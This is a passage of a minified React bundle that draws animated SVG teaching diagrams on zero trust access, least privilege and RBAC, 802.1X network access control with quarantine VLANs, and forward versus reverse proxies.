Verified`}),(0,k.jsx)(`rect`,{x:`0`,y:`26`,width:`309`,height:`22`,rx:`3`,fill:a?`#fee2e2`:`#dcfce7`,stroke:a?`#fca5a5`:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`40`,fill:a?`#991b1b`:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:a?`✕ Device Posture: EDR Missing / BitLocker Inactive`:`✔ Device Posture: CrowdStrike Active, OS Patched`}),(0,k.jsx)(`rect`,{x:`0`,y:`52`,width:`309`,height:`22`,rx:`3`,fill:a?`#fee2e2`:`#dcfce7`,stroke:a?`#fca5a5`:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`66`,fill:a?`#991b1b`:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:a?`✕ Risk Engine: HIGH (Unrecognized Hardware ID)`:`✔ Risk Engine: LOW (Familiar Geo &amp; Behavior)`}),(0,k.jsx)(`rect`,{x:`0`,y:`78`,width:`309`,height:`26`,rx:`3`,fill:a?`#fef2f2`:`#f0fdf4`,stroke:a?`#ef4444`:`#10b981`}),(0,k.jsxs)(`text`,{x:`10`,y:`94`,fill:a?`#991b1b`:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:[`PDP VERDICT: `,a?`EXPLICIT ACCESS DENIAL (DROP)`:`EPHEMERAL MICRO-TUNNEL PERMITTED`]})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Architecture: `,(0,k.jsx)(`tspan`,{fill:`#0284c7`,fontWeight:`bold`,children:`NIST SP 800-207 Zero Trust Reference Model`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`ZERO TRUST CORE FOUNDATIONS:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`1. Never Trust, Always Verify:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`Being inside the corporate office confers 0% implicit trust.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#475569`,fontSize:`7`,children:`Every single session is evaluated dynamically.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`2. Application-Level Microsegmentation:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#059669`,fontSize:`7`,children:`✔ Users connect only to authorized apps, never the whole network.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#059669`,fontSize:`7`,children:`✔ Prevents lateral movement in case of endpoint infection.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#0284c7`,fontSize:`7`,fontWeight:`bold`,children:`✔ Dark Cloud: Apps invisible on public internet.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=16?`RESULT: ✓ ZERO TRUST ENFORCED — COMPLIANT ACCESS GRANTED, UNMANAGED DEVICE BLOCKED`:e>=14?`PHASE 2: UNMANAGED LAPTOP FAILS POSTURE CHECK ➔ ACCESS BLOCKED`:e>=11?`PHASE 1: MANAGED LAPTOP PASSES CONTEXT EVALUATION ➔ ACCESS GRANTED`:`READY — ADVANCE STEP TO TRACE ZERO TRUST POLICY EVALUATION`})})]})},An=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=10,o=-100,s=55,c=!1,l=`AUTH REQ`,u=`Helpdesk Ticket`,d=`#0284c7`;return e===5||e===6?(c=!0,o=230,l=`GET /tickets:443`,u=`Role: Helpdesk_Tier1`):e===7?(c=!0,o=510,l=`RBAC PERMIT ✓`,u=`➔ Ticketing System`,d=`#10b981`):e===8||e===9?(c=!0,o=650,l=`TICKETS SERVED ✓`,u=`Authorized Access`,d=`#10b981`):e===10||e===11?(c=!0,s=105,o=230,l=`CONNECT SQL:1433`,u=`Production DB Query`,d=`#ef4444`):e===12||e===13?(c=!0,s=105,o=370,l=`MISSING PRIVILEGE ✕`,u=`Requires DBA_Admin Role`,d=`#ef4444`):e>=14&&(c=!0,s=105,o=340,l=`ACCESS DENIED ✕`,u=`Blast Radius Contained`,d=`#ef4444`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#fef2f2`:`#eff6ff`,stroke:a?`#fca5a5`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#991b1b`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`LEAST PRIVILEGE ENFORCED: HELPDESK USER DENIED ACCESS TO PRODUCTION SQL DB (PORT 1433) ✕`:`PRINCIPLE OF LEAST PRIVILEGE (PoLP): USERS RECEIVE ONLY EXACT MINIMAL ACCESS NEEDED FOR JOB FUNCTION`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`55`,x2:`330`,y2:`55`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`55`,x2:`610`,y2:`55`,stroke:`#10b981`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`120`,y1:`95`,x2:`330`,y2:`95`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`95`,x2:`610`,y2:`95`,stroke:`#ef4444`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===6||e===7)&&(0,k.jsx)(A,{x1:`120`,y1:`55`,x2:`610`,y2:`55`,color:`#10b981`,label:`TICKETING PERMITTED`}),e===11&&(0,k.jsx)(A,{x1:`120`,y1:`95`,x2:`330`,y2:`95`,color:`#ef4444`,label:`SQL REQUEST`}),(0,k.jsx)(M,{cx:80,cy:75,label:`IT HELPDESK AGENT`,ip:`Role: Helpdesk_Tier1`,active:!0,danger:a,success:e>=7&&!a}),t&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-44`,y:`-25`,width:`88`,height:`42`,rx:`6`,fill:`#0f172a`,stroke:a?`#ef4444`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`RBAC ENGINE`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`IAM / PAM POLICIES`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`AUTHORIZATION GATE`})]}),n&&(0,k.jsx)(P,{cx:650,cy:55,label:`HELPDESK TICKETING`,sub:`Port 443 (Authorized ✓)`,active:!0,success:e>=7&&!a}),r&&(0,k.jsx)(P,{cx:650,cy:105,label:`PRODUCTION SQL DB`,sub:`Port 1433 (Admin Only ✕)`,active:!0,danger:a}),c&&(0,k.jsx)(j,{cx:o,cy:s,label:l,sub:u,color:d,dropped:a&&e>=14}),a&&e>=14&&(0,k.jsxs)(`g`,{transform:`translate(330, 95)`,children:[(0,k.jsx)(`line`,{x1:`-12`,y1:`-12`,x2:`12`,y2:`12`,stroke:`#ef4444`,strokeWidth:`3`,strokeLinecap:`round`}),(0,k.jsx)(`line`,{x1:`12`,y1:`-12`,x2:`-12`,y2:`12`,stroke:`#ef4444`,strokeWidth:`3`,strokeLinecap:`round`})]}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`ROLE-BASED ACCESS CONTROL (RBAC) MATRIX & PRIVILEGE BOUNDARIES`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`ENTERPRISE IAM PERMISSION MATRIX:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`Role Name         Target Resource      Port   Permission`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`Helpdesk_Tier1    Helpdesk Ticketing   443    ALLOW ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`Helpdesk_Tier1    AD Password Reset    636    ALLOW ✓`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`24`,rx:`3`,fill:a?`#fee2e2`:`#ffffff`,stroke:a?`#fca5a5`:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`88`,fill:a?`#991b1b`:`#64748b`,fontSize:`7.5`,fontFamily:`monospace`,children:`Helpdesk_Tier1    Production SQL DB    1433   DENY ✕ (Missing DBA_Admin)`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Audit State: `,(0,k.jsx)(`tspan`,{fill:a?`#b91c1c`:`#059669`,fontWeight:`bold`,children:a?`Privilege Escalation Attempt Blocked &amp; Logged`:`Normal Authorized Operations`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`BLAST RADIUS REDUCTION PRINCIPLES:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`1. Credential Compromise Containment:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`Even if an attacker phishes the Helpdesk Agent credentials,`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#059669`,fontSize:`7`,children:`they CANNOT access the production SQL database.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`2. Just-In-Time (JIT) & PAM Elevation:`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`• Admins should not have permanent root/DBA privileges.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#475569`,fontSize:`7`,children:`• Request temporary elevation via Privileged Access Management (PAM).`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#0284c7`,fontSize:`7`,fontWeight:`bold`,children:`✔ Time-bound (e.g., 2 hours) with full session recording.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=14?`RESULT: ✓ LEAST PRIVILEGE PREVENTED UNAUTHORIZED SQL ACCESS — ZERO COMPROMISE`:e>=10?`SCENARIO 2: USER ATTEMPTS UNAUTHORIZED PRODUCTION SQL ACCESS (PORT 1433)`:e>=7?`SCENARIO 1: ✓ AUTHORIZED ACCESS TO HELPDESK TICKETING GRANTED`:`READY — ADVANCE STEP TO TRACE PRINCIPLE OF LEAST PRIVILEGE ENFORCEMENT`})})]})},jn=({currentStepIndex:e})=>{let t=e>=1,n=e>=2,r=e>=3,i=e>=4,a=e>=13,o=-100,s=!1,c=`802.1X EAPOL`,l=`EAP-TLS Handshake`,u=`#0284c7`;return e===5||e===6?(s=!0,o=180,c=`RADIUS ACCESS-REQ`,l=`Identity + Cert`):e===7||e===8?(s=!0,o=310,c=`POSTURE ASSESSMENT`,l=`Antivirus + EDR Check`,u=`#8b5cf6`):e===9||e===10?(s=!0,o=310,c=`RADIUS ACCEPT: VLAN 10`,l=`Tunnel-Group: 10 (Prod)`,u=`#10b981`):e===11||e===12?(s=!0,o=510,c=`PROD VLAN 10 ACCESS`,l=`Authorized Corporate Data`,u=`#10b981`):e===14||e===15?(s=!0,o=310,c=`POSTURE FAILED ✕`,l=`RADIUS ACCEPT: VLAN 99`,u=`#ef4444`):e>=16&&(s=!0,o=510,c=`QUARANTINE VLAN 99`,l=`Remediation Server Only`,u=`#f59e0b`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:a?`#fffbeb`:e>=10?`#f0fdf4`:`#eff6ff`,stroke:a?`#fcd34d`:e>=10?`#86efac`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:a?`#b45309`:e>=10?`#15803d`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:a?`NAC POSTURE FAILED: NON-COMPLIANT ENDPOINT ISOLATED IN QUARANTINE VLAN 99 FOR REMEDIATION ⚠`:e>=10?`NAC POSTURE PASSED: 802.1X CERT VALIDATED ➔ DYNAMIC ASSIGNMENT TO PRODUCTION VLAN 10 ✓`:`NETWORK ACCESS CONTROL (NAC) LAB: IEEE 802.1X AUTHENTICATION &amp; DYNAMIC POSTURE ASSESSMENT`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`210`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`270`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`55`,x2:`610`,y2:`55`,stroke:`#10b981`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`95`,x2:`610`,y2:`95`,stroke:`#f59e0b`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===5||e===14)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`210`,y2:`75`,color:a?`#ef4444`:`#0284c7`,label:`EAPOL`}),(e===11||e===12)&&(0,k.jsx)(A,{x1:`410`,y1:`55`,x2:`610`,y2:`55`,color:`#10b981`,label:`VLAN 10 TRAFFIC`}),e>=16&&(0,k.jsx)(A,{x1:`410`,y1:`95`,x2:`610`,y2:`95`,color:`#f59e0b`,label:`VLAN 99 ISOLATED`}),(0,k.jsx)(M,{cx:80,cy:75,label:a?`NON-COMPLIANT LAPTOP`:`CORPORATE LAPTOP`,ip:a?`Stale Antivirus / No Patch`:`EAP-TLS Cert (Healthy)`,active:!0,danger:a,success:e>=10&&!a}),t&&(0,k.jsxs)(`g`,{transform:`translate(240, 75)`,children:[(0,k.jsx)(`rect`,{x:`-30`,y:`-22`,width:`60`,height:`38`,rx:`6`,fill:`#0f172a`,stroke:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-6`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7`,fontWeight:`bold`,children:`SWITCH`}),(0,k.jsx)(`text`,{x:`0`,y:`7`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`802.1X`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`7.5`,fontWeight:`bold`,fill:`#0f172a`,children:`AUTHENTICATOR`})]}),n&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-38`,y:`-25`,width:`76`,height:`42`,rx:`6`,fill:`#0f172a`,stroke:a?`#f59e0b`:e>=10?`#10b981`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-8`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`7.5`,fontWeight:`bold`,children:`NAC SERVER`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`6.5`,fontFamily:`monospace`,children:`ISE / CLEARPASS`}),(0,k.jsx)(`text`,{x:`0`,y:`22`,textAnchor:`middle`,fontSize:`8`,fontWeight:`bold`,fill:`#0f172a`,children:`RADIUS / POLICY`})]}),r&&(0,k.jsx)(P,{cx:650,cy:55,label:`PRODUCTION VLAN 10`,sub:`Corporate Core Data`,active:!0,success:e>=10&&!a}),r&&(0,k.jsx)(P,{cx:650,cy:105,label:`QUARANTINE VLAN 99`,sub:`Remediation Patch Server`,active:!0,danger:a}),s&&(0,k.jsx)(j,{cx:o,cy:e>=16?95:e>=11&&e<=12?55:75,label:c,sub:l,color:u}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`802.1X / RADIUS NAC STATE MACHINE & DYNAMIC VLAN AUTHORIZATION`}),(0,k.jsxs)(`g`,{transform:`translate(16, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`325`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`10`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`RADIUS POLICY ASSESSMENT STAGES:`}),(0,k.jsxs)(`g`,{transform:`translate(8, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`309`,height:`20`,rx:`3`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#38bdf8`,fontSize:`7`,fontFamily:`monospace`,children:`Phase             Result           Assigned Action`}),(0,k.jsx)(`rect`,{x:`0`,y:`24`,width:`309`,height:`22`,rx:`3`,fill:`#dcfce7`,stroke:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`38`,fill:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:`1. 802.1X EAP-TLS   PASSED ✓         Identity: host/laptop01.corp`}),(0,k.jsx)(`rect`,{x:`0`,y:`48`,width:`309`,height:`22`,rx:`3`,fill:a?`#fee2e2`:`#dcfce7`,stroke:a?`#fca5a5`:`#86efac`}),(0,k.jsx)(`text`,{x:`10`,y:`62`,fill:a?`#991b1b`:`#059669`,fontSize:`7.5`,fontFamily:`monospace`,children:a?`2. Posture Check   FAILED ✕         AV Definition &gt; 30 days old`:`2. Posture Check   PASSED ✓         AV Up-to-date &amp; BitLocker ON`}),(0,k.jsx)(`rect`,{x:`0`,y:`72`,width:`309`,height:`26`,rx:`3`,fill:a?`#fffbeb`:`#f0fdf4`,stroke:a?`#fcd34d`:`#10b981`}),(0,k.jsx)(`text`,{x:`10`,y:`88`,fill:a?`#b45309`:`#15803d`,fontSize:`7.5`,fontWeight:`bold`,children:a?`RADIUS VSA: Tunnel-Private-Group-ID = 99 (QUARANTINE)`:`RADIUS VSA: Tunnel-Private-Group-ID = 10 (PRODUCTION)`})]}),(0,k.jsxs)(`text`,{x:`10`,y:`132`,fill:`#64748b`,fontSize:`7.5`,children:[`Switch Port State: `,(0,k.jsx)(`tspan`,{fill:a?`#b45309`:`#059669`,fontWeight:`bold`,children:a?`Port in Remediation Mode (VLAN 99)`:`Port Unblocked in Production Mode (VLAN 10)`})]})]}),(0,k.jsxs)(`g`,{transform:`translate(355, 36)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`330`,height:`142`,rx:`6`,fill:`#f8fafc`,stroke:`#cbd5e1`}),(0,k.jsx)(`text`,{x:`12`,y:`16`,fill:`#0f172a`,fontSize:`8.5`,fontWeight:`bold`,children:`NAC SECURITY TRIAD ARCHITECTURE:`}),(0,k.jsxs)(`g`,{transform:`translate(12, 24)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`48`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`1. Authentication (Who are you?):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`Validates machine & user credentials via 802.1X (EAP-TLS / PEAP).`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#059669`,fontSize:`7`,children:`Guarantees device is an authentic corporate asset.`})]}),(0,k.jsxs)(`g`,{transform:`translate(12, 76)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`306`,height:`56`,rx:`4`,fill:`#ffffff`,stroke:`#e2e8f0`}),(0,k.jsx)(`text`,{x:`10`,y:`14`,fill:`#0f172a`,fontSize:`7.5`,fontWeight:`bold`,children:`2. Posture Assessment (Are you healthy?):`}),(0,k.jsx)(`text`,{x:`10`,y:`27`,fill:`#475569`,fontSize:`7`,children:`• Verifies Antivirus, Firewall, OS Hotfixes, and Disk Encryption.`}),(0,k.jsx)(`text`,{x:`10`,y:`39`,fill:`#b45309`,fontSize:`7`,children:`• Failed posture isolates host to Quarantine VLAN 99 for auto-patching.`}),(0,k.jsx)(`text`,{x:`10`,y:`50`,fill:`#0284c7`,fontSize:`7`,fontWeight:`bold`,children:`✔ Prevents infected or unpatched machines from contaminating LAN.`})]})]})]}),(0,k.jsx)(`g`,{transform:`translate(40, 324)`,children:(0,k.jsx)(`text`,{x:`340`,y:`10`,textAnchor:`middle`,fill:`#64748b`,fontSize:`8`,fontFamily:`monospace`,children:e>=16?`RESULT: ✓ NAC ENFORCEMENT COMPLETE — HEALTHY ➔ PROD VLAN 10, STALE ➔ QUARANTINE VLAN 99`:e>=13?`SCENARIO B: POSTURE CHECK FAILS ➔ DYNAMICALLY QUARANTINED TO VLAN 99`:e>=10?`SCENARIO A: ✓ POSTURE COMPLIANT ➔ ACCESS GRANTED TO PRODUCTION VLAN 10`:`READY — ADVANCE STEP TO TRACE NAC 802.1X &amp; POSTURE ASSESSMENT FLOW`})})]})},Mn=({currentStepIndex:e})=>{let t=e>=12,n=e>=1,r=e>=2,i=e>=3,a=-100,o=!1,s=`HTTP REQ`,c=`example.com`,l=`#0284c7`;return e===4||e===5?(o=!0,a=230,s=`GET /index.html`,c=`Src: 10.0.0.50 (Client)`):e===6||e===7?(o=!0,a=370,s=`FORWARD PROXY MASK`,c=`Src: 203.0.113.1 (Proxy IP)`,l=`#10b981`):e===8?(o=!0,a=510,s=`PROXY ➔ WEB SERVER`,c=`Client IP is Hidden`,l=`#10b981`):e===9||e===10?(o=!0,a=650,s=`HTTP 200 OK RETURN`,c=`Scanned &amp; Delivered`,l=`#10b981`):e===15||e===16?(o=!0,a=230,s=`HTTPS REQUEST`,c=`Dst: app.company.com`,l=`#8b5cf6`):e===17||e===18?(o=!0,a=370,s=`SSL TERMINATION &amp; LB`,c=`Routing to Backend 2`,l=`#8b5cf6`):e===19?(o=!0,a=510,s=`INTERNAL FORWARD`,c=`➔ App Server 2 (10.1.0.12)`,l=`#10b981`):e>=20&&(o=!0,a=650,s=`REVERSE PROXY SERVED`,c=`Encrypted Back to Client`,l=`#10b981`),(0,k.jsxs)(`svg`,{viewBox:`0 0 760 340`,className:`w-full h-full select-none`,preserveAspectRatio:`xMidYMid meet`,children:[(0,k.jsxs)(`g`,{transform:`translate(40, 10)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`680`,height:`22`,rx:`11`,fill:t?`#f5f3ff`:`#eff6ff`,stroke:t?`#c4b5fd`:`#93c5fd`}),(0,k.jsx)(`text`,{x:`340`,y:`15`,textAnchor:`middle`,fill:t?`#6d28d9`:`#1e40af`,fontSize:`8.5`,fontWeight:`bold`,fontFamily:`monospace`,children:t?`PART B: REVERSE PROXY — SITS IN FRONT OF WEB SERVERS (SSL OFFLOADING, LOAD BALANCING, WAF) ✓`:`PART A: FORWARD PROXY — SITS IN FRONT OF CLIENTS (ANONYMITY, URL FILTERING, CACHING) ✓`})]}),i&&(0,k.jsxs)(`g`,{opacity:`0.6`,children:[(0,k.jsx)(`line`,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`}),(0,k.jsx)(`line`,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,stroke:`#94a3b8`,strokeWidth:`2`,strokeDasharray:`4,4`})]}),(e===5||e===16)&&(0,k.jsx)(A,{x1:`120`,y1:`75`,x2:`330`,y2:`75`,color:t?`#8b5cf6`:`#0284c7`,label:`CLIENT REQUEST`}),(e===8||e===19)&&(0,k.jsx)(A,{x1:`410`,y1:`75`,x2:`610`,y2:`75`,color:`#10b981`,label:t?`LOAD BALANCED`:`MASKED FORWARD`}),(0,k.jsx)(M,{cx:80,cy:75,label:t?`INTERNET CLIENT`:`INTERNAL CLIENT`,ip:t?`Public User (Anywhere)`:`10.0.0.50 (LAN Host)`,active:!0,success:e>=9}),n&&(0,k.jsxs)(`g`,{transform:`translate(370, 75)`,children:[(0,k.jsx)(`rect`,{x:`-48`,y:`-30`,width:`96`,height:`46`,rx:`8`,fill:`#0f172a`,stroke:t?`#8b5cf6`:`#0284c7`,strokeWidth:2}),(0,k.jsx)(`text`,{x:`0`,y:`-10`,textAnchor:`middle`,fill:`#38bdf8`,fontSize:`8`,fontWeight:`bold`,children:t?`REVERSE PROXY`:`FORWARD PROXY`}),(0,k.jsx)(`text`,{x:`0`,y:`5`,textAnchor:`middle`,fill:`#ffffff`,fontSize:`7`,fontFamily:`monospace`,children:t?`NGINX / HAProxy`:`Squid / Zscaler`}),(0,k.jsx)(`text`,{x:`0`,y:`26`,textAnchor:`middle`,fontSize:`8.5`,fontWeight:`bold`,fill:`#0f172a`,children:t?`SERVER SHIELD &amp; LB`:`CLIENT GATEWAY`})]}),r&&(0,k.jsx)(P,{cx:650,cy:75,label:t?`BACKEND APP SERVERS`:`INTERNET WEB SERVER`,sub:t?`Cluster (10.1.0.11/12)`:`www.example.com (93.184.216.34)`,active:!0,success:e>=9}),o&&(0,k.jsx)(j,{cx:a,cy:75,label:s,sub:c,color:l}),(0,k.jsxs)(`g`,{transform:`translate(30, 140)`,children:[(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`190`,rx:`10`,fill:`#ffffff`,stroke:`#cbd5e1`,strokeWidth:`1.5`}),(0,k.jsx)(`rect`,{x:`0`,y:`0`,width:`700`,height:`26`,rx:`9`,fill:`#0f172a`}),(0,k.jsx)(`text`,{x:`16`,y:`17`,fill:`#ffffff`,fontSize:`9.5`,fontWeight:`bold`,children:`FORWARD PROXY VS REVERSE PROXY: ARCHITECTURE, TOPOLOGY & SECURITY ROLES`}),(0,k.jsxs)(`g`,{transform:`translate(16, 